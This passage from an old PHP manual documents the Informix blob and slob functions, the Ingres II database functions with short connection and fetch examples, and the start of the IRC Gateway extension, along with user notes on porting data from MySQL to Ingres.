ifx_htmltbl_result($res_id, "border=\"1\"");
ifx_free_result($res_id);
?>

例子 2. Insert some values into the "catalog" table

<?php

// create blob id's for a byte and text column
$textid = ifx_create_blob(0, 0, "Text column in memory");
$byteid = ifx_create_blob(1, 0, "Byte column in memory");

// store blob id's in a blobid array
$blobidarray[] = $textid;
$blobidarray[] = $byteid;

// launch query
$query = "insert into catalog (stock_num, manu_code, " .
         "cat_descr,cat_picture) values(1,'HRO',?,?)";
$res_id = ifx_query($query, $conn_id, $blobidarray);
if (! $res_id) {
    /* ... error ... */
}

// free result id
ifx_free_result($res_id);
?>

See also ifx_connect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifx_prepare | 上一级 | ifx_textasvarchar


ifx_textasvarchar

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ifx_textasvarchar -- Set the default text mode

Description

void ifx_textasvarchar ( int mode )

Sets the default text mode for all select-queries. Mode "0" will return a blob id, and mode "1" will return a varchar with text content.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifx_query | 上一级 | ifx_update_blob


ifx_update_blob

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ifx_update_blob -- Updates the content of the blob object

Description

bool ifx_update_blob ( int bid, string content )

Updates the content of the blob object for the given blob object bid. content is a string with new data. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifx_textasvarchar | 上一级 | ifx_update_char


ifx_update_char

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

ifx_update_char -- Updates the content of the char object

Description

int ifx_update_char ( int bid, string content )

Updates the content of the char object for the given char object bid. content is a string with new data. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifx_update_blob | 上一级 | ifxus_close_slob


ifxus_close_slob

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ifxus_close_slob -- Deletes the slob object

Description

int ifxus_close_slob ( int bid )

Deletes the slob object on the given slob object-id bid. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifx_update_char | 上一级 | ifxus_create_slob


ifxus_create_slob

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ifxus_create_slob -- Creates an slob object and opens it

Description

int ifxus_create_slob ( int mode )

Creates an slob object and opens it. Modes: 1 = LO_RDONLY, 2 = LO_WRONLY, 4 = LO_APPEND, 8 = LO_RDWR, 16 = LO_BUFFER, 32 = LO_NOBUFFER -> or-mask. You can also use constants named IFX_LO_RDONLY, IFX_LO_WRONLY etc. Return FALSE on error otherwise the new slob object-id.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifxus_close_slob | 上一级 | ifxus_free_slob


ifxus_free_slob

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ifxus_free_slob -- Deletes the slob object

Description

int ifxus_free_slob ( int bid )

Deletes the slob object. bid is the Id of the slob object. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifxus_create_slob | 上一级 | ifxus_open_slob


ifxus_open_slob

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ifxus_open_slob -- Opens an slob object

Description

int ifxus_open_slob ( int bid, int mode )

Opens an slob object. bid should be an existing slob id. Modes: 1 = LO_RDONLY, 2 = LO_WRONLY, 4 = LO_APPEND, 8 = LO_RDWR, 16 = LO_BUFFER, 32 = LO_NOBUFFER -> or-mask. Returns FALSE on error otherwise the new slob object-id.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifxus_free_slob | 上一级 | ifxus_read_slob


ifxus_read_slob

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ifxus_read_slob -- Reads nbytes of the slob object

Description

int ifxus_read_slob ( int bid, int nbytes )

Reads nbytes of the slob object. bid is a existing slob id and nbytes is the number of bytes read. Return FALSE on error otherwise the string.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifxus_open_slob | 上一级 | ifxus_seek_slob


ifxus_seek_slob

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ifxus_seek_slob -- Sets the current file or seek position

Description

int ifxus_seek_slob ( int bid, int mode, int offset )

Sets the current file or seek position of an open slob object. bid should be an existing slob id. Modes: 0 = LO_SEEK_SET, 1 = LO_SEEK_CUR, 2 = LO_SEEK_END and offset is an byte offset. Return FALSE on error otherwise the seek position.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifxus_read_slob | 上一级 | ifxus_tell_slob


ifxus_tell_slob

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ifxus_tell_slob -- Returns the current file or seek position

Description

int ifxus_tell_slob ( int bid )

Returns the current file or seek position of an open slob object bid should be an existing slob id. Return FALSE on error otherwise the seek position.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifxus_seek_slob | 上一级 | ifxus_write_slob


ifxus_write_slob

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ifxus_write_slob -- Writes a string into the slob object

Description

int ifxus_write_slob ( int bid, string content )

Writes a string into the slob object. bid is an existing slob id and content the content to write. Return FALSE on error otherwise bytes written.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifxus_tell_slob | 上一级 | Ingres II Functions


Ingres II Functions

PHP 手册
后退 前进

LVIII. Ingres II Functions

简介

These functions allow you to access Ingres II database servers.

注: If you already used PHP extensions to access other database servers, note that Ingres doesn't allow concurrent queries and/or transaction over one connection, thus you won't find any result or transaction handle in this extension. The result of a query must be treated before sending another query, and a transaction must be committed or rolled back before opening another transaction (which is automatically done when sending the first query).

需求

To compile PHP with Ingres support, you need the Open API library and header files included with Ingres II.

安装

本 PECL 扩展未绑定于 PHP 中。 进一步信息例如新版本，下载，源程序，维护者信息以及更新日志可以在此找到： http://pecl.php.net/package/ingres.

In order to have these functions available, you must compile PHP with Ingres support by using the --with-ingres[=DIR] option, where DIR is the Ingres base directory, which defaults to /II/ingres. If the II_SYSTEM environment variable isn't correctly set you may have to use --with-ingres=DIR to specify your Ingres installation directory.

When using this extension with Apache, if Apache does not start and complains with "PHP Fatal error: Unable to start ingres_ii module in Unknown on line 0" then make sure the environment variable II_SYSTEM is correctly set. Adding "export II_SYSTEM="/home/ingres/II" in the script that starts Apache, just before launching httpd, should be fine.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. Ingres II configuration options

Name | Default | Changeable | Changelog
ingres.allow_persistent | "1" | PHP_INI_SYSTEM | Available since PHP 4.0.2.
ingres.max_persistent | "-1" | PHP_INI_SYSTEM | Available since PHP 4.0.2.
ingres.max_links | "-1" | PHP_INI_SYSTEM | Available since PHP 4.0.2.
ingres.default_database | NULL | PHP_INI_ALL | Available since PHP 4.0.2.
ingres.default_user | NULL | PHP_INI_ALL | Available since PHP 4.0.2.
ingres.default_password | NULL | PHP_INI_ALL | Available since PHP 4.0.2.
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

INGRES_ASSOC (integer)

INGRES_NUM (integer)

INGRES_BOTH (integer)

目录
ingres_autocommit -- Switch autocommit on or off
ingres_close -- Close an Ingres II database connection
ingres_commit -- Commit a transaction
ingres_connect -- Open a connection to an Ingres II database
ingres_fetch_array -- Fetch a row of result into an array
ingres_fetch_object -- Fetch a row of result into an object
ingres_fetch_row -- Fetch a row of result into an enumerated array
ingres_field_length -- Get the length of a field
ingres_field_name -- Get the name of a field in a query result
ingres_field_nullable -- Test if a field is nullable
ingres_field_precision -- Get the precision of a field
ingres_field_scale -- Get the scale of a field
ingres_field_type -- Get the type of a field in a query result
ingres_num_fields -- Get the number of fields returned by the last query
ingres_num_rows -- Get the number of rows affected or returned by the last query
ingres_pconnect -- Open a persistent connection to an Ingres II database
ingres_query -- Send a SQL query to Ingres II
ingres_rollback -- Roll back a transaction

add a note add a note User Contributed Notes
mail at hannes-reinecke dot de
12-Dec-2002 07:09
If you try to use the 'Embedded Ingres' as it is delivered with certain CA products (e.g. TNG UHD), the referenced library '-lingres' is not available. You need to add '-lq -lframe' instead.
burckhardtNOSPAM at SNIPITOFFgsf dot de
24-Jan-2002 02:07
Hi,
I am currently migrating from MySQL to Ingres. Generally, almost ALL INGRES-functions that use arrays start with counter=1, NOT counter=0. Also, whereas MySQL-functions use $result as an argument, INGRES-functions use $connection instead.
Florian
add a note add a note

后退 | 起点 | 前进
ifxus_write_slob | 上一级 | ingres_autocommit


ingres_autocommit

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.4)

ingres_autocommit -- Switch autocommit on or off

Description

bool ingres_autocommit ( [resource link] )

ingres_autocommit() is called before opening a transaction (before the first call to ingres_query() or just after a call to ingres_rollback() or ingres_commit()) to switch the "autocommit" mode of the server on or off (when the script begins the autocommit mode is off).

When the autocommit mode is on, every query is automatically committed by the server, as if ingres_commit() was called after every call to ingres_query().

See also
ingres_query(),
ingres_rollback(), and
ingres_commit().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Ingres II Functions | 上一级 | ingres_close


ingres_close

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.4)

ingres_close -- Close an Ingres II database connection

Description

bool ingres_close ( [resource link] )

Returns TRUE on success, or FALSE on failure.

ingres_close() closes the connection to the Ingres server that's associated with the specified link. If the link parameter isn't specified, the last opened link is used.

ingres_close() isn't usually necessary, as it won't close persistent connections and all non-persistent connections are automatically closed at the end of the script.

See also ingres_connect() and ingres_pconnect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ingres_autocommit | 上一级 | ingres_commit


ingres_commit

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.4)

ingres_commit -- Commit a transaction

Description

bool ingres_commit ( [resource link] )

ingres_commit() commits the currently open transaction, making all changes made to the database permanent.

This closes the transaction. A new one can be open by sending a query with ingres_query().

You can also have the server commit automatically after every query by calling ingres_autocommit() before opening the transaction.

See also
ingres_query(),
ingres_rollback(), and
ingres_autocommit().

add a note add a note User Contributed Notes
burckhardtNOSPAM at CUTMEgsf dot de
24-Jan-2002 01:00
Hi,
this might be obvious for the more enlightened among us, alas, I had to learn it the hard way (and I hope my interpretation is right):
WHENEVER you use ingres_commit(), you cannot use any other ingres-commands for this connection anymore, since ingres_commit() closes it. That means that any ingres_fetch_row/object/whatever has to come before the ingres_commit-call. I first thought, each ingres_query() had to be "committed", but that was wrong.
add a note add a note

后退 | 起点 | 前进
ingres_close | 上一级 | ingres_connect


ingres_connect

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.4)

ingres_connect -- Open a connection to an Ingres II database

Description

resource ingres_connect ( [string database [, string username [, string password]]] )

Returns a Ingres II link resource on success, or FALSE on failure.

ingres_connect() opens a connection with the Ingres database designated by database, which follows the syntax [node_id::]dbname[/svr_class].

If some parameters are missing, ingres_connect() uses the values in php.ini for ingres.default_database, ingres.default_user, and ingres.default_password.

The connection is closed when the script ends or when ingres_close() is called on this link.

All the other ingres functions use the last opened link as a default, so you need to store the returned value only if you use more than one link at a time.

例子 1. ingres_connect() example

<?php
    $link = ingres_connect("mydb", "user", "pass")
        or die("Could not connect");
    echo "Connected successfully";
    ingres_close($link);
?>

例子 2. ingres_connect() example using default link

<?php
    ingres_connect("mydb", "user", "pass")
        or die("Could not connect");
    echo "Connected successfully";
    ingres_close();
?>

See also ingres_pconnect() and ingres_close().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ingres_commit | 上一级 | ingres_fetch_array


ingres_fetch_array

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.4)

ingres_fetch_array -- Fetch a row of result into an array

Description

array ingres_fetch_array ( [int result_type [, resource link]] )

ingres_fetch_array() Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

This function is an extended version of ingres_fetch_row(). In addition to storing the data in the numeric indices of the result array, it also stores the data in associative indices, using the field names as keys.

If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you must use the numeric index of the column or make an alias for the column.

<?php

ingres_query("select t1.f1 as foo t2.f1 as bar from t1, t2");
$result = ingres_fetch_array();
$foo = $result["foo"];
$bar = $result["bar"];

?>

result_type can be INGRES_NUM for enumerated array, INGRES_ASSOC for associative array, or INGRES_BOTH (default).

Speed-wise, the function is identical to ingres_fetch_object(), and almost as quick as ingres_fetch_row() (the difference is insignificant).

例子 1. ingres_fetch_array() example

<?php
ingres_connect($database, $user, $password);

ingres_query("select * from table");
while ($row = ingres_fetch_array()) {
    echo $row["user_id"];  // using associative array
    echo $row["fullname"];
    echo $row[1];          // using enumerated array
    echo $row[2];
}
?>

See also
ingres_query(),
ingres_num_fields(),
ingres_field_name(),
ingres_fetch_object(), and
ingres_fetch_row().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ingres_connect | 上一级 | ingres_fetch_object


ingres_fetch_object

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.4)

ingres_fetch_object -- Fetch a row of result into an object

Description

object ingres_fetch_object ( [int result_type [, resource link]] )

ingres_fetch_object() Returns an object that corresponds to the fetched row, or FALSE if there are no more rows.

This function is similar to ingres_fetch_array(), with one difference - an object is returned, instead of an array. Indirectly, that means that you can only access the data by the field names, and not by their offsets (numbers are illegal property names).

The optional argument result_type is a constant and can take the following values: INGRES_ASSOC, INGRES_NUM, and INGRES_BOTH.

Speed-wise, the function is identical to ingres_fetch_array(), and almost as quick as ingres_fetch_row() (the difference is insignificant).

例子 1. ingres_fetch_object() example

<?php
ingres_connect($database, $user, $password);
ingres_query("select * from table");
while ($row = ingres_fetch_object()) {
    echo $row->user_id;
    echo $row->fullname;
}
?>

See also
ingres_query(),
ingres_num_fields(),
ingres_field_name(),
ingres_fetch_array(), and
ingres_fetch_row().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ingres_fetch_array | 上一级 | ingres_fetch_row


ingres_fetch_row

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.4)

ingres_fetch_row -- Fetch a row of result into an enumerated array

Description

array ingres_fetch_row ( [resource link] )

ingres_fetch_row() returns an array that corresponds to the fetched row, or FALSE if there are no more rows. Each result column is stored in an array offset, starting at offset 1.

Subsequent call to ingres_fetch_row() would return the next row in the result set, or FALSE if there are no more rows.

例子 1. ingres_fetch_row() example

<?php
ingres_connect($database, $user, $password);

ingres_query("select * from table");
while ($row = ingres_fetch_row()) {
    echo $row[1];
    echo $row[2];
}
?>

See also
ingres_num_fields(),
ingres_query(),
ingres_fetch_array(), and
ingres_fetch_object().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ingres_fetch_object | 上一级 | ingres_field_length


ingres_field_length

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.4)

ingres_field_length -- Get the length of a field

Description

int ingres_field_length ( int index [, resource link] )

ingres_field_length() returns the length of a field. This is the number of bytes used by the server to store the field. For detailed information, see the Ingres/OpenAPI User Guide - Appendix C.

index is the number of the field and must be between 1 and the value given by ingres_num_fields().

See also
ingres_query(),
ingres_fetch_array(),
ingres_fetch_object(), and
ingres_fetch_row().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ingres_fetch_row | 上一级 | ingres_field_name


ingres_field_name

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.4)

ingres_field_name -- Get the name of a field in a query result

Description

string ingres_field_name ( int index [, resource link] )

ingres_field_name() returns the name of a field in a query result, or FALSE on failure.

index is the number of the field and must be between 1 and the value given by ingres_num_fields().

See also
ingres_query(),
ingres_fetch_array(),
ingres_fetch_object() and
ingres_fetch_row().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ingres_field_length | 上一级 | ingres_field_nullable


ingres_field_nullable

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.4)

ingres_field_nullable -- Test if a field is nullable

Description

bool ingres_field_nullable ( int index [, resource link] )

ingres_field_nullable() returns TRUE if the field can be set to the NULL value and FALSE if it can't.

index is the number of the field and must be between 1 and the value given by ingres_num_fields().

See also
ingres_query(),
ingres_fetch_array(),
ingres_fetch_object(), and
ingres_fetch_row().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ingres_field_name | 上一级 | ingres_field_precision


ingres_field_precision

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.4)

ingres_field_precision -- Get the precision of a field

Description

int ingres_field_precision ( int index [, resource link] )

ingres_field_precision() returns the precision of a field. This value is used only for decimal, float and money SQL data types. For detailed information, see the Ingres/OpenAPI User Guide - Appendix C.

index is the number of the field and must be between 1 and the value given by ingres_num_fields().

See also
ingres_query(),
ingres_fetch_array(),
ingres_fetch_object(), and
ingres_fetch_row().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ingres_field_nullable | 上一级 | ingres_field_scale


ingres_field_scale

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.4)

ingres_field_scale -- Get the scale of a field

Description

int ingres_field_scale ( int index [, resource link] )

ingres_field_scale() returns the scale of a field. This value is used only for the decimal SQL data type. For detailed information, see the Ingres/OpenAPI User Guide - Appendix C.

index is the number of the field and must be between 1 and the value given by ingres_num_fields().

See also
ingres_query(),
ingres_fetch_array(),
ingres_fetch_object(), and
ingres_fetch_row().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ingres_field_precision | 上一级 | ingres_field_type


ingres_field_type

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.4)

ingres_field_type -- Get the type of a field in a query result

Description

string ingres_field_type ( int index [, resource link] )

ingres_field_type() returns the type of a field in a query result, or FALSE on failure. Examples of types returned are "IIAPI_BYTE_TYPE", "IIAPI_CHA_TYPE", "IIAPI_DTE_TYPE", "IIAPI_FLT_TYPE", "IIAPI_INT_TYPE", "IIAPI_VCH_TYPE". Some of these types can map to more than one SQL type depending on the length of the field (see ingres_field_length()). For example "IIAPI_FLT_TYPE" can be a float4 or a float8. For detailed information, see the Ingres/OpenAPI User Guide - Appendix C.

index is the number of the field and must be between 1 and the value given by ingres_num_fields().

See also
ingres_query(),
ingres_fetch_array(),
ingres_fetch_object(), and
ingres_fetch_row().

add a note add a note User Contributed Notes
burckhardtCUTMEOUT at gsf dot de
26-Mar-2002 08:11
I have to apologise for the previous two long postings, but information referring to the INGRES data types is a bit hard to find, so I want to share it. Below is my translation script for INGRES->MySQL data types.

<?
 // Fieldtype Translator  INGRES => MySQL (c) F.Burckhardt
 // translates string, int, date; might be incomplete with respect to other INGRES data-types
 $sql="SELECT * FROM table";
 $conn = ingres_connect ($database, $user, $password);
 $results = ingres_query($sql,$conn);
 $fieldtype = array ( "key" => "val");
 $ingres_translation = array( "IIAPI_VCH_TYPE" => "string",
                             "IIAPI_CHA_TYPE" => "string",
                             "IIAPI_INT_TYPE" => "int",
                             "IIAPI_DTE_TYPE" => "date");
 for($i=1; $i<ingres_num_fields($conn)+1; $i++) {
   $fieldtype [ingres_field_name($i,$conn)] = $ingres_translation[ingres_field_type($i,$conn)];
   echo ("field_name (".ingres_field_name($i,$conn).") field_type (INGRES): ".ingres_field_type($i,$conn)." => fieldtype (MySQL)".$ingres_translation[ingres_field_type($i,$conn)]." <br>");
       }
 ?>
burckhardtCUTMEOUT at gsf dot de
26-Mar-2002 08:08
IIAPI_LOGKEY_TYPE A data type with values that are unique within the data source. An application should not attempt to update a column containing a system-maintained object key.

IIAPI_LBYTE_TYPE A variable-length binary string. The actual length of the large byte segment is stored in the first two bytes of the data buffer, followed by the large byte data. Length: 0 to 2,000,000,000 characters.

IIAPI_LVCH_TYPE A variable-length character string. The actual length of the large varchar segment is stored in the first two bytes of the data buffer, followed by the large varchar data. Valid characters for this data type include printing, non-printing, and NULL characters. Trailing blanks are insignificant in a varchar data type. Length: 0 to 2,000,000,000 characters.

IIAPI_MNY_TYPE The Ingres money data type stored in 8 bytes with 2 fixed decimal places.  IIAPI_convertData() or  IIAPI_formatData() can be used to convert to character string or floating point representation.

IIAPI_TABKEY_TYPE A data type with a value that is unique within the table where the table key is stored. An application should not attempt to update a column containing a systemmaintained table key.

IIAPI_TXT_TYPE A variable-length character string. The maximum size for this data type is stored as the ds_length parameter in the corresponding descriptor. The actual length of the text data is stored in the first two bytes of the data buffer, followed by the text data. Valid characters for this data type include printing and non-printing characters. All blanks are significant in a text data buffer. This type is supported for previous Ingres versions; when possible, use  IIAPI_VCH_TYPE. Length: 1 to 2,000 characters.

IIAPI_VBYTE_TYPE A variable-length binary string. The maximum size for varbyte data is stored as the ds_length parameter in the corresponding descriptor. The actual length of the varbyte data is stored in the first two bytes of the data buffer, followed by the varbyte data. Length: 0 to 2,000 characters.

IIAPI_VCH_TYPE A variable-length character string. The maximum size for varchar data is stored as the ds_length parameter in the corresponding descriptor. The actual length of the varchar data is stored in the first two bytes of the data buffer, followed by the varchar data. Trailing blanks are insignificant in a varchar data type. Length: 0 to 2,000 characters.
burckhardtCUTMEOUT at gsf dot de
26-Mar-2002 08:08
Ingres Data Types (oapi.pdf open api user guide)
Data Type Descriptions Ingres data types are described in the following table:
 Data Type Description
IIAPI_BYTE_TYPE A fixed length binary string containing data with the declared length. The declared length is stored as the ds_length parameter in the corresponding data descriptor. Length: 1 to 2,000 characters.

IIAPI_CHA_TYPE A fixed length character string that is stored blankpadded to the declared length. The declared length is stored as the ds_length parameter in the corresponding data descriptor. Embedded blanks are significant. Valid characters for this data type include printing, nonprinting, and NULL characters. Length: 1 to 2,000 characters.

IIAPI_CHR_TYPE A fixed length character string that is stored blankpadded to the declared length. The declared length is stored as the ds_length parameter in the corresponding data descriptor. Embedded blanks are insignificant. Valid characters for this data type include printing characters only. This data type is supported for previous Ingres versions; when possible, use IIAPI_CHA_TYPE. Length: 1 to 2,000 characters.

IIAPI_HNDL_TYPE A data type used only by OpenAPI and the application. This data type describes a handle, which is a pointer to one of the control blocks created by OpenAPI. OpenAPI translates the information in the control block into data acceptable by the data source. This data type does not appear in queries.

IIAPI_DEC_TYPE A packed decimal data type stored in 1 to 16 bytes depending on the precision of the value as follows: len = (precision)/2 + 1. IIAPI_convertData() or  IIAPI_formatData() may be used to convert to character string or floating point representation.

IIAPI_DTE_TYPE Ingres internal date data type that is stored in 12 bytes. IIAPI_convertData() or IIAPI_formatData() may be used to convert to character string or floating point representation.

IIAPI_FLT_TYPE A data type supporting data value ranges from - 1.0e+38 to +1.0e+38.

IIAPI_INT_TYPE A data type supporting varying data value ranges. It is dependent on the ds_length of the data value. If the length is 1, the range is from -128 to +127. If the length is 2, the range is from -32,768 to +32,767. If the length is 4, the range is from -2,147,483,648 to +2,147,483,647.
add a note add a note

后退 | 起点 | 前进
ingres_field_scale | 上一级 | ingres_num_fields


ingres_num_fields

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.4)

ingres_num_fields -- Get the number of fields returned by the last query

Description

int ingres_num_fields ( [resource link] )

ingres_num_fields() returns the number of fields in the results returned by the Ingres server after a call to ingres_query()

See also
ingres_query(),
ingres_fetch_array(),
ingres_fetch_object(), and
ingres_fetch_row().

add a note add a note User Contributed Notes
burckhardtNOSPAM at CUTTHISgsf dot de
23-Jan-2002 11:25
HI, i am currently porting a MySQL-DB over to Ingres.
Be aware that the argument in the function call of ingres_num_fields is different from MySQL: mysql_num_fields (resource result) and ingres_num_fields (resource link)
add a note add a note

后退 | 起点 | 前进
ingres_field_type | 上一级 | ingres_num_rows


ingres_num_rows

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.4)

ingres_num_rows -- Get the number of rows affected or returned by the last query

Description

int ingres_num_rows ( [resource link] )

For delete, insert or update queries, ingres_num_rows() returns the number of rows affected by the query. For other queries, ingres_num_rows() returns the number of rows in the query's result.

注: This function is mainly meant to get the number of rows modified in the database. If this function is called before using ingres_fetch_array(), ingres_fetch_object() or ingres_fetch_row() the server will delete the result's data and the script won't be able to get them.

You should instead retrieve the result's data using one of these fetch functions in a loop until it returns FALSE, indicating that no more results are available.

See also
ingres_query(),
ingres_fetch_array(),
ingres_fetch_object(), and
ingres_fetch_row().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ingres_num_fields | 上一级 | ingres_pconnect


ingres_pconnect

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.4)

ingres_pconnect -- Open a persistent connection to an Ingres II database

Description

resource ingres_pconnect ( [string database [, string username [, string password]]] )

Returns a Ingres II link resource on success, or FALSE on failure.

See ingres_connect() for parameters details and examples. There are only 2 differences between ingres_pconnect() and ingres_connect() : First, when connecting, the function will first try to find a (persistent) link that's already opened with the same parameters. If one is found, an identifier for it will be returned instead of opening a new connection. Second, the connection to the Ingres server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (ingres_close() will not close links established by ingres_pconnect()). This type of link is therefore called 'persistent'.

See also ingres_connect() and ingres_close().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ingres_num_rows | 上一级 | ingres_query


ingres_query

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.4)

ingres_query -- Send a SQL query to Ingres II

Description

bool ingres_query ( string query [, resource link] )

Returns TRUE on success, or FALSE on failure.

ingres_query() sends the given query to the Ingres server. This query must be a valid SQL query (see the Ingres SQL reference guide)

The query becomes part of the currently open transaction. If there is no open transaction, ingres_query() opens a new transaction. To close the transaction, you can either call ingres_commit() to commit the changes made to the database or ingres_rollback() to cancel these changes. When the script ends, any open transaction is rolled back (by calling ingres_rollback()). You can also use ingres_autocommit() before opening a new transaction to have every SQL query immediately committed.

Some types of SQL queries can't be sent with this function:

  • close (see ingres_close())

  • commit (see ingres_commit())

  • connect (see ingres_connect())

  • disconnect (see ingres_close())

  • get dbevent

  • prepare to commit

  • rollback (see ingres_rollback())

  • savepoint

  • set autocommit (see ingres_autocommit())

  • all cursor related queries are unsupported

例子 1. ingres_query() example

<?php
ingres_connect($database, $user, $password);

ingres_query("select * from table");
while ($row = ingres_fetch_row()) {
    echo $row[1];
    echo $row[2];
}
?>

See also
ingres_fetch_array(),
ingres_fetch_object(),
ingres_fetch_row(),
ingres_commit(),
ingres_rollback(), and
ingres_autocommit().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ingres_pconnect | 上一级 | ingres_rollback


ingres_rollback

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.4)

ingres_rollback -- Roll back a transaction

Description

bool ingres_rollback ( [resource link] )

ingres_rollback() rolls back the currently open transaction, actually canceling all changes made to the database during the transaction.

This closes the transaction. A new one can be open by sending a query with ingres_query().

See also
ingres_query(),
ingres_commit(), and
ingres_autocommit().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ingres_query | 上一级 | IRC Gateway Functions


IRC Gateway Functions

PHP 手册
后退 前进

LIX. IRC Gateway Functions

简介

With IRCG you can rapidly stream XML data to thousands of concurrently connected users. This can be used to build powerful, extensible interactive platforms such as online games and webchats. IRCG also features support for a non-streaming mode where a helper application reformats incoming data and supplies static file snippets in special formats such as cHTML (i-mode) or WML (WAP). These static files are then delivered by the high-performance web server.

Up to v4, IRCG runs under these platforms:

  • AIX

  • FreeBSD

  • HP-UX

  • Irix

  • Linux

  • Solaris

  • Tru64

  • Windows

注: 本扩展已被移动到 PECL 库中且自以下版本起不再被绑定到 PHP 中：5.1.0.

安装

Detailed installation instructions can be found at http://www.schumann.cx/ircg/. We urge you to use the provided installation script.

It is not recommended, but you can try enable IRCG support yourself. Provide the path to the ircg-config script, --with-ircg-config=path/to/irc-config and in addition add --with-ircg to your configure line.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

预定义常量

本扩展模块未定义任何常量。

目录
ircg_channel_mode -- Set channel mode flags for user
ircg_disconnect -- Close connection to server
ircg_eval_ecmascript_params -- Decodes a list of JS-encoded parameters
ircg_fetch_error_msg -- Returns the error from previous IRCG operation
ircg_get_username -- Get username for connection
ircg_html_encode -- Encodes HTML preserving output
ircg_ignore_add -- Add a user to your ignore list on a server
ircg_ignore_del -- Remove a user from your ignore list on a server
ircg_invite -- Invites nickname to channel
ircg_is_conn_alive -- Check connection status
ircg_join -- Join a channel on a connected server
ircg_kick -- Kick a user out of a channel on server
ircg_list -- List topic/user count of channel(s)
ircg_lookup_format_messages -- Check for the existence of a format message set
ircg_lusers -- IRC network statistics
ircg_msg -- Send message to channel or user on server
ircg_names -- Query visible usernames
ircg_nick -- Change nickname on server
ircg_nickname_escape -- Encode special characters in nickname to be IRC-compliant
ircg_nickname_unescape -- Decodes encoded nickname
ircg_notice -- Send a notice to a user on server
ircg_oper -- Elevates privileges to IRC OPER
ircg_part -- Leave a channel on server
ircg_pconnect -- Connect to an IRC server
ircg_register_format_messages -- Register a format message set
ircg_set_current -- Set current connection for output
ircg_set_file -- Set logfile for connection
ircg_set_on_die -- Set action to be executed when connection dies
ircg_topic -- Set topic for channel on server
ircg_who -- Queries server for WHO information
ircg_whois -- Query server for user information

add a note add a note User Contributed Notes
malo at dasevil dot de
05-May-2006 11:59
If sb need a simple PHP IRC Class:

http://sf.net/projects/irccc
matthias at matthiaswinkelmann dot com
09-Aug-2005 05:59
I have posted the last BSD-Licensed version of ircg at http://www.matthiaswinkelmann.com/index.php/
